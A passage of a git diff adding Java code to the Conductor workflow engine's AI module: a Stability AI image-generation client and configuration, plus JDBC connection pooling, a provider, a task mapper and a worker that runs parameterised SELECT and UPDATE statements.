Activated by setting {@code conductor.ai.stabilityai.apiKey} in application properties. Uses + * Spring AI's built-in {@code StabilityAiImageModel} for text-to-image generation with Stable + * Diffusion models. + */ +@Data +@Component +@ConfigurationProperties(prefix = "conductor.ai.stabilityai") +@NoArgsConstructor +public class StabilityAIConfiguration implements ModelConfiguration { + + private String apiKey; + + private OkHttpClient httpClient; + + public StabilityAIConfiguration(String apiKey, OkHttpClient httpClient) { + this.apiKey = apiKey; + this.httpClient = httpClient; + } + + @Autowired + @Override + public void setHttpClient(OkHttpClient httpClient) { + this.httpClient = httpClient; + } + + @Override + public StabilityAI get() { + return new StabilityAI(this, httpClient); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAiApi.java b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAiApi.java new file mode 100644 index 0000000..0c39c6b --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/providers/stabilityai/StabilityAiApi.java @@ -0,0 +1,226 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.providers.stabilityai; + +import java.io.IOException; + +import com.fasterxml.jackson.annotation.JsonIgnoreProperties; +import com.fasterxml.jackson.annotation.JsonProperty; +import lombok.extern.slf4j.Slf4j; +import okhttp3.MultipartBody; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import okhttp3.ResponseBody; + +/** + * REST client for the Stability AI v2beta Image Generation API. + * + *

This client calls the v2beta endpoints directly using OkHttp with multipart/form-data + * requests. It replaces the Spring AI {@code StabilityAiImageModel} which targets the retired v1 + * API. + * + *

Supported endpoints: + * + *

    + *
  • {@code POST /v2beta/stable-image/generate/sd3} - Stable Diffusion 3.x models + *
  • {@code POST /v2beta/stable-image/generate/core} - Stable Image Core (fast, affordable) + *
  • {@code POST /v2beta/stable-image/generate/ultra} - Stable Image Ultra (highest quality) + *
+ * + *

All endpoints accept multipart/form-data and return either raw image bytes (when {@code + * Accept: image/*}) or JSON with base64 data (when {@code Accept: application/json}). + * + * @see Stability AI API Reference + */ +@Slf4j +public class StabilityAiApi { + + public static final String DEFAULT_BASE_URL = "https://api.stability.ai"; + + private final String apiKey; + private final String baseUrl; + private final OkHttpClient httpClient; + + public StabilityAiApi(OkHttpClient httpClient, String apiKey, String baseUrl) { + this.apiKey = apiKey; + this.baseUrl = baseUrl != null ? baseUrl : DEFAULT_BASE_URL; + this.httpClient = httpClient; + } + + /** + * Generate an image using the specified endpoint and parameters. + * + *

The endpoint is selected based on the model name: + * + *

    + *
  • Models starting with "sd3" use the {@code /sd3} endpoint + *
  • "core" model uses the {@code /core} endpoint + *
  • "ultra" model uses the {@code /ultra} endpoint + *
  • All others default to the {@code /ultra} endpoint + *
+ * + * @param params Image generation parameters + * @return Raw image bytes (PNG format by default) + */ + public ImageResult generateImage(ImageCreateParams params) throws IOException { + String endpoint = resolveEndpoint(params.model()); + + // Build the multipart request body + MultipartBody.Builder bodyBuilder = + new MultipartBody.Builder() + .setType(MultipartBody.FORM) + .addFormDataPart("prompt", params.prompt()); + + // The sd3 endpoint accepts a "model" field to select the specific SD3 variant. + // The core and ultra endpoints do not need a model field. + if (endpoint.endsWith("/sd3")) { + bodyBuilder.addFormDataPart("model", params.model()); + } + + // Output format: png, jpeg, or webp + String outputFormat = params.outputFormat() != null ? params.outputFormat() : "png"; + bodyBuilder.addFormDataPart("output_format", outputFormat); + + if (params.negativePrompt() != null && !params.negativePrompt().isBlank()) { + bodyBuilder.addFormDataPart("negative_prompt", params.negativePrompt()); + } + + if (params.aspectRatio() != null && !params.aspectRatio().isBlank()) { + bodyBuilder.addFormDataPart("aspect_ratio", params.aspectRatio()); + } + + if (params.seed() != null) { + bodyBuilder.addFormDataPart("seed", String.valueOf(params.seed())); + } + + if (params.stylePreset() != null && !params.stylePreset().isBlank()) { + bodyBuilder.addFormDataPart("style_preset", params.stylePreset()); + } + + // Request raw image bytes with Accept: image/* + Request request = + new Request.Builder() + .url(baseUrl + endpoint) + .header("Authorization", "Bearer " + apiKey) + .header("Accept", "image/*") + .post(bodyBuilder.build()) + .build(); + + log.info( + "Stability AI image generation request: endpoint={}, model={}, outputFormat={}", + endpoint, + params.model(), + outputFormat); + + try (Response response = httpClient.newCall(request).execute()) { + if (!response.isSuccessful()) { + String errorBody = readResponseBody(response); + throw new IOException( + "Stability AI API failed with status %d: %s" + .formatted(response.code(), errorBody)); + } + + ResponseBody body = response.body(); + if (body == null) { + throw new IOException("Stability AI API returned empty response body"); + } + + // Determine the actual content type returned + String contentType = response.header("Content-Type", "image/" + outputFormat); + // Read the finish-reason header (e.g., SUCCESS, CONTENT_FILTERED) + String finishReason = response.header("finish-reason", "SUCCESS"); + // Read the seed header + String seedHeader = response.header("seed"); + + byte[] imageBytes = body.bytes(); + log.info( + "Stability AI image generated: {} bytes, contentType={}, finishReason={}", + imageBytes.length, + contentType, + finishReason); + + return new ImageResult(imageBytes, contentType, finishReason, seedHeader); + } + } + + /** + * Resolve the v2beta endpoint path based on the model name. + * + *

Model to endpoint mapping: + * + *

    + *
  • "sd3", "sd3-large", "sd3-large-turbo", "sd3-medium", "sd3.5-large", + * "sd3.5-large-turbo", "sd3.5-medium" -> /v2beta/stable-image/generate/sd3 + *
  • "core", "stable-image-core" -> /v2beta/stable-image/generate/core + *
  • "ultra", "stable-image-ultra" -> /v2beta/stable-image/generate/ultra + *
+ */ + private String resolveEndpoint(String model) { + if (model == null) { + return "/v2beta/stable-image/generate/ultra"; + } + String m = model.toLowerCase(); + if (m.startsWith("sd3")) { + return "/v2beta/stable-image/generate/sd3"; + } else if (m.contains("core")) { + return "/v2beta/stable-image/generate/core"; + } else if (m.contains("ultra")) { + return "/v2beta/stable-image/generate/ultra"; + } + // Default to ultra for unknown models + return "/v2beta/stable-image/generate/ultra"; + } + + private String readResponseBody(Response response) throws IOException { + ResponseBody body = response.body(); + return body != null ? body.string() : ""; + } + + // -- DTOs -- + + /** + * Parameters for image generation. + * + * @param prompt Text description of the image to generate (required) + * @param model Model name (e.g., "sd3.5-large", "core", "ultra") + * @param outputFormat Output format: "png", "jpeg", or "webp" (default: "png") + * @param aspectRatio Aspect ratio (e.g., "1:1", "16:9", "9:16", "3:2", "2:3") + * @param negativePrompt What to exclude from the image + * @param seed Random seed for reproducibility (0-4294967294) + * @param stylePreset Style preset (e.g., "cinematic", "anime", "digital-art") + */ + public record ImageCreateParams( + String prompt, + String model, + String outputFormat, + String aspectRatio, + String negativePrompt, + Long seed, + String stylePreset) {} + + /** + * Result of image generation. + * + * @param imageBytes Raw image binary data + * @param contentType MIME type of the image (e.g., "image/png") + * @param finishReason Reason generation finished (e.g., "SUCCESS", "CONTENT_FILTERED") + * @param seed The seed used for generation + */ + @JsonIgnoreProperties(ignoreUnknown = true) + public record ImageResult( + byte[] imageBytes, + @JsonProperty("content_type") String contentType, + @JsonProperty("finish_reason") String finishReason, + String seed) {} +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfig.java new file mode 100644 index 0000000..e3fde53 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfig.java @@ -0,0 +1,76 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import javax.sql.DataSource; + +import com.zaxxer.hikari.HikariDataSource; +import lombok.AllArgsConstructor; +import lombok.Data; +import lombok.NoArgsConstructor; + +@Data +@NoArgsConstructor +@AllArgsConstructor +public class JDBCConnectionConfig { + + private String datasourceURL; + + private String jdbcDriver; + + private String user; + + private String password; + + // Hikari pool settings with defaults + private Integer maximumPoolSize = 32; + + private Long idleTimeoutMs = 30000L; + + private Integer minimumIdle = 2; + + private Long leakDetectionThreshold = 60000L; + + private Long connectionTimeout = 30000L; + + private Long maxLifetime = 1800000L; + + /** + * Creates a configured HikariCP DataSource from this configuration. + * + * @param name Pool name for identification and logging + * @return A configured DataSource + */ + public DataSource createDataSource(String name) { + HikariDataSource ds = new HikariDataSource(); + ds.setPoolName(name); + ds.setJdbcUrl(datasourceURL); + if (jdbcDriver != null && !jdbcDriver.isBlank()) { + ds.setDriverClassName(jdbcDriver); + } + if (user != null) { + ds.setUsername(user); + } + if (password != null) { + ds.setPassword(password); + } + ds.setMaximumPoolSize(maximumPoolSize != null ? maximumPoolSize : 32); + ds.setIdleTimeout(idleTimeoutMs != null ? idleTimeoutMs : 30000L); + ds.setMinimumIdle(minimumIdle != null ? minimumIdle : 2); + ds.setLeakDetectionThreshold( + leakDetectionThreshold != null ? leakDetectionThreshold : 60000L); + ds.setConnectionTimeout(connectionTimeout != null ? connectionTimeout : 30000L); + ds.setMaxLifetime(maxLifetime != null ? maxLifetime : 1800000L); + return ds; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInput.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInput.java new file mode 100644 index 0000000..f6e5e05 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInput.java @@ -0,0 +1,94 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.List; + +public class JDBCInput { + + public enum Type { + PROCEDURE, + UPDATE, + SELECT; + } + + private String integrationName; + private String schemaName; + private String connectionId; + + private String statement; + + private Type type; + + private List parameters; + + private int expectedUpdateCount; + + public JDBCInput() {} + + public String getConnectionId() { + return connectionId; + } + + public void setConnectionId(String connectionId) { + this.connectionId = connectionId; + } + + public String getStatement() { + return statement; + } + + public void setStatement(String statement) { + this.statement = statement; + } + + public List getParameters() { + return parameters; + } + + public void setParameters(List parameters) { + this.parameters = parameters; + } + + public Type getType() { + return type; + } + + public void setType(Type type) { + this.type = type; + } + + public int getExpectedUpdateCount() { + return expectedUpdateCount; + } + + public void setExpectedUpdateCount(int expectedUpdateCount) { + this.expectedUpdateCount = expectedUpdateCount; + } + + public String getIntegrationName() { + return integrationName; + } + + public void setIntegrationName(String integrationName) { + this.integrationName = integrationName; + } + + public String getSchemaName() { + return schemaName; + } + + public void setSchemaName(String schemaName) { + this.schemaName = schemaName; + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfig.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfig.java new file mode 100644 index 0000000..da935fa --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfig.java @@ -0,0 +1,192 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import javax.sql.DataSource; + +import org.apache.logging.log4j.util.Strings; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.core.env.Environment; +import org.springframework.stereotype.Component; + +import lombok.extern.slf4j.Slf4j; + +/** + * Main configuration class for JDBC instances. Supports multiple named instances via list-based + * configuration. + * + *

Configuration example: + * + * 

+ * conductor.jdbc.instances:
+ *   - name: "mysql-prod"
+ *     connection:
+ *       datasourceURL: "jdbc:mysql://prod:3306/db"
+ *       jdbcDriver: "com.mysql.cj.jdbc.Driver"
+ *       user: "admin"
+ *       password: "secret"
+ *   - name: "postgres-analytics"
+ *     connection:
+ *       datasourceURL: "jdbc:postgresql://analytics:5432/data"
+ *       user: "reader"
+ *       password: "secret"
+ *
+ * + *

Legacy format (backwards compatibility): + * + * 

+ * conductor.worker.jdbc.connectionIds: mysql,postgres
+ * conductor.worker.jdbc.mysql.connectionURL: jdbc:mysql://localhost:3306/db
+ * conductor.worker.jdbc.mysql.driverClassName: com.mysql.cj.jdbc.Driver
+ * conductor.worker.jdbc.mysql.username: root
+ * conductor.worker.jdbc.mysql.password: secret
+ *
+ */ +@Component +@ConfigurationProperties(prefix = "conductor.jdbc") +@Slf4j +public class JDBCInstanceConfig { + + private List instances; + + private final Environment env; + + public JDBCInstanceConfig(Environment env) { + this.env = env; + } + + public List getInstances() { + return instances; + } + + public void setInstances(List instances) { + this.instances = instances; + } + + /** + * Returns a map of DataSource instances keyed by their configured names. Falls back to legacy + * configuration format if no new-style instances are configured. + */ + public Map getJDBCInstances() { + Map dataSourceMap = new HashMap<>(); + + if (instances != null && !instances.isEmpty()) { + for (JDBCInstance instance : instances) { + try { + JDBCConnectionConfig config = instance.getConnection(); + if (config == null) { + log.error( + "Connection configuration missing for JDBC instance: {}", + instance.getName()); + continue; + } + DataSource ds = config.createDataSource(instance.getName()); + dataSourceMap.put(instance.getName(), ds); + log.info("Initialized JDBC instance: {}", instance.getName()); + } catch (Exception e) { + log.error( + "Failed to initialize JDBC instance: {}, reason: {}", + instance.getName(), + e.getMessage()); + } + } + } + + // Legacy format: conductor.worker.jdbc.connectionIds (backwards compatibility) + if (dataSourceMap.isEmpty()) { + Map legacyInstances = getLegacyInstances(); + dataSourceMap.putAll(legacyInstances); + } + + return dataSourceMap; + } + + /** + * Reads legacy configuration from conductor.worker.jdbc.connectionIds format. Preserved for + * backwards compatibility with existing deployments. + */ + private Map getLegacyInstances() { + Map dataSourceMap = new HashMap<>(); + String prefix = "conductor.worker.jdbc."; + + String connectionIds = env.getProperty(prefix + "connectionIds"); + if (connectionIds == null || connectionIds.isBlank()) { + return dataSourceMap; + } + + log.info("Reading legacy JDBC configuration from conductor.worker.jdbc.*"); + + int defaultMaxPoolSize = + env.getProperty(prefix + "default.maximum-pool-size", Integer.class, 10); + long defaultIdleTimeoutMs = + env.getProperty(prefix + "default.idle-timeout-ms", Long.class, 300000L); + int defaultMinimumIdle = env.getProperty(prefix + "default.minimum-idle", Integer.class, 1); + + String[] ids = connectionIds.split(","); + for (String id : ids) { + id = id.trim(); + String connectionURL = env.getProperty(prefix + id + ".connectionURL"); + String driverClassName = env.getProperty(prefix + id + ".driverClassName"); + if (Strings.isBlank(connectionURL) || Strings.isBlank(driverClassName)) { + continue; + } + + JDBCConnectionConfig config = new JDBCConnectionConfig(); + config.setDatasourceURL(connectionURL); + config.setJdbcDriver(driverClassName); + config.setUser(env.getProperty(prefix + id + ".username")); + config.setPassword(env.getProperty(prefix + id + ".password")); + config.setMaximumPoolSize( + env.getProperty( + prefix + id + ".maximum-pool-size", Integer.class, defaultMaxPoolSize)); + config.setIdleTimeoutMs( + env.getProperty( + prefix + id + ".idle-timeout-ms", Long.class, defaultIdleTimeoutMs)); + config.setMinimumIdle( + env.getProperty( + prefix + id + ".minimum-idle", Integer.class, defaultMinimumIdle)); + + DataSource ds = config.createDataSource(id); + log.info("Initialized legacy JDBC instance: {}", id); + dataSourceMap.put(id, ds); + } + + return dataSourceMap; + } + + /** Represents a single JDBC instance configuration. */ + public static class JDBCInstance { + private String name; + private JDBCConnectionConfig connection; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public JDBCConnectionConfig getConnection() { + return connection; + } + + public void setConnection(JDBCConnectionConfig connection) { + this.connection = connection; + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCProvider.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCProvider.java new file mode 100644 index 0000000..67befc3 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCProvider.java @@ -0,0 +1,92 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; + +import javax.sql.DataSource; + +import org.springframework.stereotype.Component; + +import com.zaxxer.hikari.HikariDataSource; +import jakarta.annotation.PreDestroy; +import lombok.extern.slf4j.Slf4j; + +/** + * Provider for managing multiple JDBC DataSource instances. Uses name-based lookup to support + * multiple database connections. + * + *

The provider is initialized with a JDBCInstanceConfig which contains all configured JDBC + * instances (both new-style and legacy format). + */ +@Component +@Slf4j +public class JDBCProvider { + + private final Map dataSources = new ConcurrentHashMap<>(); + + /** + * Initializes the provider with configured JDBC instances. + * + * @param instanceConfig Configuration containing all JDBC instances + */ + public JDBCProvider(JDBCInstanceConfig instanceConfig) { + try { + Map instances = instanceConfig.getJDBCInstances(); + dataSources.putAll(instances); + log.info("Initialized JDBCProvider with {} instances", dataSources.size()); + dataSources.keySet().forEach(name -> log.info(" - {}", name)); + } catch (Exception e) { + log.error("Failed to initialize JDBCProvider: {}", e.getMessage(), e); + } + } + + /** + * Retrieves a DataSource by its configured name. + * + * @param input input + * @return The DataSource, or null if not found + */ + public DataSource get(JDBCInput input) { + String name = + Optional.ofNullable(input.getConnectionId()).orElse(input.getIntegrationName()); + if (name == null) { + log.warn("JDBC instance name is null"); + return null; + } + DataSource ds = dataSources.get(name); + if (ds == null) { + log.warn( + "JDBC instance not found: {}. Available instances: {}", + name, + dataSources.keySet()); + } + return ds; + } + + @PreDestroy + public void shutdown() { + log.info("Shutting down JDBCProvider, closing all DataSource pools"); + dataSources + .values() + .forEach( + ds -> { + if (ds instanceof HikariDataSource) { + ((HikariDataSource) ds).close(); + } + }); + dataSources.clear(); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCTaskMapper.java new file mode 100644 index 0000000..0a41777 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCTaskMapper.java @@ -0,0 +1,63 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.List; +import java.util.Map; + +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.model.TaskModel; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Slf4j +public class JDBCTaskMapper implements TaskMapper { + + @Override + public String getTaskType() { + return JDBCWorker.NAME; + } + + @Override + public List getMappedTasks(TaskMapperContext taskMapperContext) { + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + int retryCount = taskMapperContext.getRetryCount(); + String retriedTaskId = taskMapperContext.getRetryTaskId(); + TaskDef taskDefinition = workflowTask.getTaskDefinition(); + if (taskDefinition == null) { + taskDefinition = new TaskDef(workflowTask.getName()); + } + + Map input = taskMapperContext.getTaskInput(); + + TaskModel task = taskMapperContext.createTaskModel(); + task.setTaskType(JDBCWorker.NAME); + task.setStartDelayInSeconds(workflowTask.getStartDelay()); + task.setInputData(input); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setRetryCount(retryCount); + task.setCallbackAfterSeconds(workflowTask.getStartDelay()); + task.setResponseTimeoutSeconds(taskDefinition.getResponseTimeoutSeconds()); + task.setRetriedTaskId(retriedTaskId); + task.setRateLimitPerFrequency(taskDefinition.getRateLimitPerFrequency()); + task.setRateLimitFrequencyInSeconds(taskDefinition.getRateLimitFrequencyInSeconds()); + + return List.of(task); + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCWorker.java b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCWorker.java new file mode 100644 index 0000000..3c60506 --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/sql/JDBCWorker.java @@ -0,0 +1,216 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.SQLException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import javax.sql.DataSource; + +import org.conductoross.conductor.core.execution.tasks.AnnotatedSystemTaskWorker; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskResult; +import com.netflix.conductor.sdk.workflow.executor.task.TaskContext; +import com.netflix.conductor.sdk.workflow.task.WorkerTask; + +import lombok.extern.slf4j.Slf4j; + +@Component +@Slf4j +public class JDBCWorker implements AnnotatedSystemTaskWorker { + + public static final String NAME = "JDBC"; + private final JDBCProvider jdbcProvider; + + public JDBCWorker(JDBCProvider jdbcProvider) { + this.jdbcProvider = jdbcProvider; + log.info("JDBCWorker initialized"); + } + + @WorkerTask(NAME) + public TaskResult execute(JDBCInput input) { + Task task = TaskContext.get().getTask(); + if (input.getStatement() == null) { + task.setStatus(Task.Status.FAILED_WITH_TERMINAL_ERROR); + task.setReasonForIncompletion("Missing JDBC statement"); + return new TaskResult(task); + } + + DataSource ds = jdbcProvider.get(input); + if (ds == null) { + task.setStatus(Task.Status.FAILED_WITH_TERMINAL_ERROR); + task.setReasonForIncompletion("No such datasource configured. input: " + input); + return new TaskResult(task); + } + + switch (input.getType()) { + case SELECT: + return executeSelect(ds, input, task); + case UPDATE: + return executeUpdate(ds, input, task); + default: + task.setStatus(Task.Status.FAILED); + task.setReasonForIncompletion("Unsupported Operation " + input.getType()); + return new TaskResult(task); + } + } + + private TaskResult executeSelect(DataSource ds, JDBCInput input, Task task) { + Connection conn = null; + PreparedStatement pstmt = null; + ResultSet rs = null; + + try { + conn = ds.getConnection(); + pstmt = conn.prepareStatement(input.getStatement()); + + if (input.getParameters() != null) { + for (int i = 0; i < input.getParameters().size(); i++) { + pstmt.setObject(i + 1, input.getParameters().get(i)); + } + } + + rs = pstmt.executeQuery(); + ResultSetMetaData metadata = rs.getMetaData(); + int colCount = metadata.getColumnCount(); + List> result = new ArrayList<>(); + + while (rs.next()) { + Map row = new HashMap<>(); + for (int i = 1; i <= colCount; i++) { + String key = metadata.getColumnName(i); + Object value = rs.getObject(i); + row.put(key, value); + } + result.add(row); + } + + log.debug("Executed SELECT, found {} rows", result.size()); + task.getOutputData().put("result", result); + task.setStatus(Task.Status.COMPLETED); + return new TaskResult(task); + + } catch (SQLException sqlException) { + log.error(sqlException.getMessage(), sqlException); + task.setStatus(Task.Status.FAILED); + task.setReasonForIncompletion(sqlException.getMessage()); + return new TaskResult(task); + + } finally { + if (rs != null) { + try { + rs.close(); + } catch (SQLException e) { + log.error("Failed to close ResultSet", e); + } + } + if (pstmt != null) { + try { + pstmt.close(); + } catch (SQLException e) { + log.error("Failed to close PreparedStatement", e); + } + } + if (conn != null) { + try { + conn.close(); + } catch (SQLException e) { + log.error("Failed to close Connection", e); + } + } + } + } + + private TaskResult executeUpdate(DataSource ds, JDBCInput input, Task task) { + Connection conn = null; + PreparedStatement pstmt = null; + + try { + conn = ds.getConnection(); + conn.setAutoCommit(false); + pstmt = conn.prepareStatement(input.getStatement()); + + if (input.getParameters() != null) { + for (int i = 0; i < input.getParameters().size(); i++) { + pstmt.setObject(i + 1, input.getParameters().get(i)); + } + } + + int count = pstmt.executeUpdate(); + log.debug("updated {} rows", count); + + if (input.getExpectedUpdateCount() > 0 && count != input.getExpectedUpdateCount()) { + log.debug( + "row update count {} does not match with expected update {}. Going to rollback", + count, + input.getExpectedUpdateCount()); + + conn.rollback(); + + task.getOutputData().put("update_count", count); + task.setStatus(Task.Status.FAILED); + task.setReasonForIncompletion( + "Update count " + + count + + " does not match with expected update count " + + input.getExpectedUpdateCount()); + return new TaskResult(task); + } + + conn.commit(); + task.getOutputData().put("update_count", count); + task.setStatus(Task.Status.COMPLETED); + return new TaskResult(task); + + } catch (SQLException sqlException) { + log.error(sqlException.getMessage(), sqlException); + + if (conn != null) { + try { + conn.rollback(); + } catch (SQLException e) { + log.error("Failed to rollback transaction", e); + } + } + + task.setStatus(Task.Status.FAILED); + task.setReasonForIncompletion(sqlException.getMessage()); + return new TaskResult(task); + + } finally { + if (pstmt != null) { + try { + pstmt.close(); + } catch (SQLException e) { + log.error("Failed to close PreparedStatement", e); + } + } + if (conn != null) { + try { + conn.close(); + } catch (SQLException e) { + log.error("Failed to close Connection", e); + } + } + } + } +} diff --git a/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AIModelTaskMapper.java b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AIModelTaskMapper.java new file mode 100644 index 0000000..856bc5d --- /dev/null +++ b/ai/src/main/java/org/conductoross/conductor/ai/tasks/mapper/AIModelTaskMapper.java @@ -0,0 +1,183 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.tasks.mapper; + +import java.util.List; +import java.util.ListIterator; +import java.util.Map; + +import org.conductoross.conductor.ai.model.LLMWorkerInput; +import org.conductoross.conductor.config.AIIntegrationEnabledCondition; +import org.springframework.context.annotation.Conditional; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.TerminateWorkflowException; +import com.netflix.conductor.core.execution.mapper.TaskMapper; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.RequiredArgsConstructor; +import lombok.extern.slf4j.Slf4j; + +@Component +@RequiredArgsConstructor +@Slf4j +@Conditional(AIIntegrationEnabledCondition.class) +public abstract class AIModelTaskMapper implements TaskMapper { + + public static final String EMBEDDINGS = "embeddings"; + public static final String LLM_PROVIDER = "llmProvider"; + public static final String MODEL_NAME = "model"; + public static final String INDEX = "index"; + public static final String PROMPT_NAME_KEY = "promptName"; + public static final String VECTOR_DB = "vectorDB"; + protected final ObjectMapper objectMapper = new ObjectMapperProvider().getObjectMapper(); + + private final String taskType; + private final TypeReference type = new TypeReference() {}; + + @Override + public String getTaskType() { + return taskType; + } + + @Override + public final List getMappedTasks(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + TaskModel simpleTask = getMappedTask(taskMapperContext); + return List.of(simpleTask); + } + + protected TaskModel getMappedTask(TaskMapperContext taskMapperContext) + throws TerminateWorkflowException { + WorkflowTask workflowTask = taskMapperContext.getWorkflowTask(); + int retryCount = taskMapperContext.getRetryCount(); + String retriedTaskId = taskMapperContext.getRetryTaskId(); + TaskDef taskDefinition = workflowTask.getTaskDefinition(); + if (taskDefinition == null) { + taskDefinition = new TaskDef(); + } + + if (taskDefinition.getRetryCount() < 1) { + taskDefinition.setRetryCount(3); + taskDefinition.setRetryDelaySeconds(2); + taskDefinition.setRetryLogic(TaskDef.RetryLogic.LINEAR_BACKOFF); + } + + 